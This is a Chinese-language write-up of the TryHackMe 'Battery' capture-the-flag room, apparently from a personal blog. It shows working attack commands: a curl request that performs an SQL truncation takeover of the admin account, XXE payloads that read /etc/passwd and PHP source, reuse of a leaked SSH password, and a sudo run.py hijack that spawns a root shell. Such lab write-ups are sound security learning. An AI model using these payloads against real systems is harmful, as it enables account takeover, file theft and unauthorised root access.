> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Battery writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-battery-writeup-zh-tw/
- Published: 2025-10-12T15:52:18.000Z
- Updated: 2026-07-15T02:49:57.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, web, #sql truncation

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Battery
- **難度**: Medium
- **目標**: 獲取 Base Flag、User Flag、Root Flag
- **主題**: 銀行管理系統滲透測試
- **連結**: [https://tryhackme.com/room/battery](https://tryhackme.com/room/battery?ref=taiwanding.com)
- 備註: 這一個機器，作者在經驗分享補充了很多相關資訊，可以搭配參考喔!

## 偵察階段

### Nmap 掃描

```bash
nmap -sV -sC -p 22,80 10.201.51.19 -Pn

```

**掃描結果**：

- **Port 22**: OpenSSH 6.6.1p1 Ubuntu
- **Port 80**: Apache httpd 2.4.7

### 目錄枚舉

```bash
gobuster dir -u http://10.201.51.19/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

```

**發現的路徑**：

- `/admin.php` \- 登入頁面
- `/register.php` \- 註冊頁面
- `/report` \- 可執行文件（16912 bytes）
- `/scripts/` \- JavaScript 腳本目錄
- `/forms.php` \- 需要管理員權限的頁面

### Step 1: 分析 Report 程序

下載並反編譯

```bash
# 下載程序
wget http://10.201.51.19/report

# 用 Ghidra 反編譯或使用 strings
strings report | grep -iE "admin|user|@"

```

**關鍵發現**：

```
admin@bank.a
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
guest  # 唯一可用的登入帳號

```

**程序功能**：

- 登入：`guest/guest`
- 選項4可以更新密碼（但僅驗證 email 為 `admin@bank.a`）

### Step 2: SQL Truncation Attack

發現漏洞  
檢查註冊表單：

```bash
curl http://10.201.51.19/register.php

```

**關鍵發現**：

```html
<input type="text" name="uname" placeholder="Username" maxlength="12">

```

- 前端限制 username 只能12字符
- `admin@bank.a` 正好12字符
- 但後端可能有更長的欄位限制

繞過前端限制

```bash
# 註冊時使用：admin@bank.a + 空格 + 任意字符
curl -X POST http://10.201.51.19/register.php \
  -d "uname=admin@bank.a   x&bank=ABC&password=test123&btn=Register me!" \
  -L

```

**攻擊原理**：

1. MySQL 截斷超過欄位長度的字符
2. Trailing spaces 會被自動移除
3. 結果：成功覆蓋原本的 `admin@bank.a` 帳號密碼！

**成功訊息**：

```html
<script>alert('Registered successfully!')</script>

```

### 登入 Admin

```bash
# 使用新密碼登入
curl -c admin_cookies.txt -X POST http://10.201.51.19/admin.php \
  -d "uname=admin@bank.a&password=test123&btn=Submit" \
  -L

```

### Step 3: XXE 漏洞利用

發現 XXE 端點  
訪問 `forms.php`，發現 JavaScript 代碼：

```javascript
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<search>' + $('#search').val() + '</search>' +
        '</root>';
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};

```

測試 XXE Payload

```bash
# 讀取 /etc/passwd
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

```

**成功輸出**：

```
Sorry, account number root:x:0:0:root:/root:/bin/bash
[...]
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
yash:x:1002:1002:,,,:/home/yash:/bin/bash
is not active!

```

使用 PHP Wrapper 讀取源碼

```bash
# 讀取 acc.php 源碼（base64編碼）
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

```

**在返回的 HTML 中找到註釋**：

```php
//MY CREDS :- cyber:super#secure&password!

```

### Step 4: SSH 登入與 User Flag

SSH 連接

```bash
ssh cyber@10.201.51.19
# 密碼: super#secure&password!

```

獲得 Flag1

```bash
cyber@ubuntu:~$ ls
flag1.txt  run.py

cyber@ubuntu:~$ cat flag1.txt
THM{Redacted}

```

### Step 5: 權限提升到 Root

檢查 Sudo 權限

```bash
cyber@ubuntu:~$ sudo -l
User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

```

檢查文件權限

```bash
cyber@ubuntu:~$ ls -la run.py
-rwx------ 1 root root 349 Nov 15  2020 run.py

cyber@ubuntu:~$ ls -ld /home/cyber
drwx------ 3 cyber cyber 4096 Nov 17  2020 /home/cyber

```

**關鍵發現**：

- `run.py` 屬於 root，無法編輯
- 但對 `/home/cyber` 目錄有完全權限！

劫持 run.py

```bash
# 1. 刪除 root 的 run.py
rm run.py

# 2. 創建惡意 run.py
cat > run.py << 'EOF'
import os
os.system('/bin/bash')
EOF

# 3. 用 sudo 執行，獲得 root shell
sudo /usr/bin/python3 /home/cyber/run.py

```

獲得所有 Flags

```bash
root@ubuntu:~# cat /root/root.txt
THM{Redacted}

root@ubuntu:~# cat /home/yash/flag2.txt
THM{Redacted}

```

## 技術要點總結

### 1\. SQL Truncation Attack

- **原理**：利用數據庫欄位長度限制和字符截斷特性
- **條件**：
  - 前端有 maxlength 限制（可繞過）
  - 後端欄位長度有限制
  - MySQL 會自動移除 trailing spaces
- **利用方法**：註冊 `admin@bank.a___x`（下劃線代表空格）

### 2\. XXE (XML External Entity) 漏洞

- **識別特徵**：應用程序接受並解析 XML 輸入

**進階技巧**：使用 PHP wrapper 讀取源碼

```xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file">

```

**基本 Payload**：

```xml
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

```

## 經驗分享

1. **前端限制不可信**：maxlength 可以用 curl 或 Burp Suite 繞過
2. **數據庫特性很重要**：了解 MySQL 的字符截斷行為

### 關於Step 1: 分析 Report 程序

這一步花了很多時間，因為還分析了一下這個程式到底有什麼用，也嘗試用ghidra反編譯看看有沒有hard coding的管理員密碼，或是任何可以造成程式崩潰的方法，但都沒有成功，所以才趕快又轉回來web端看有沒有漏洞。

### 關於Step 2: SQL Truncation Attack

憑良心說，這一步作者完全沒有聽過，也沒有想到，在針對管理員登入這塊，有嘗試sqlmap爆破看有沒有sql注入、用hydra直接爆破管理員的密碼，但都失敗，印象中有做過類似的練習，可以在申請帳號的時候蓋掉前面的資訊，但那時候沒有深入發現相關攻擊行為是sql truncation attack，另外這一步有卡住，所以有參考相關writeup\~

[TryHackMe - BatteryBattery es una maquina de TryHackMe, encontramos correos dentro de un fichero y mediante SQL Truncation Attack obtuvimos acceso a un panel de administracion en donde explotamos una vulnerabilidad XXE por la cual obtuvimos credenciales de acceso. La mala configuracion de permisos en un script de python nos permitio escalar privilegios.![](https://static.ghost.org/v5.0.0/images/link-icon.svg)sckullsckull![](https://taiwanding.com/content/images/thumbnail/cover.png)](https://sckull.github.io/posts/battery/?ref=taiwanding.com)

### 關於Step 3: XXE 漏洞利用

這一步知道是XXE攻擊，其實不必使用admin帳號就可以知道，用burp suite，使用自己的帳號密碼test/test登入，就可以抓到forms.php的reponse，但可惜的是，確實還是需要管理員登入之後才能觸發XXE攻擊，不然會直接先被擋在門外，兩者給的response差異如下。

```bash
<script>alert('Only Admins can access this page!')</script>
跟
Sorry, account number [/etc/passwd內容] is not active!
```

### 關於Step 5: 權限提升到 Root

回頭來看，因為作者是先拿到root flag再拿user flag，所以如果進到yash的使用者目錄，會發現有提示root.txt，以及fernet，兩個檔案，前者會透漏我們用到的提權方法，後者則會給出yash的密碼，相關解碼方法參考如下

```bash
from cryptography.fernet import Fernet

key = b"7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted = b"gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="

cipher = Fernet(key)
password = cipher.decrypt(encrypted)
print(password.decode())  # yash的密碼
```

不過算是同場加映，因為我們已經拿到root flag了，就沒再去回推說怎麼從cyber跳yash再跳root。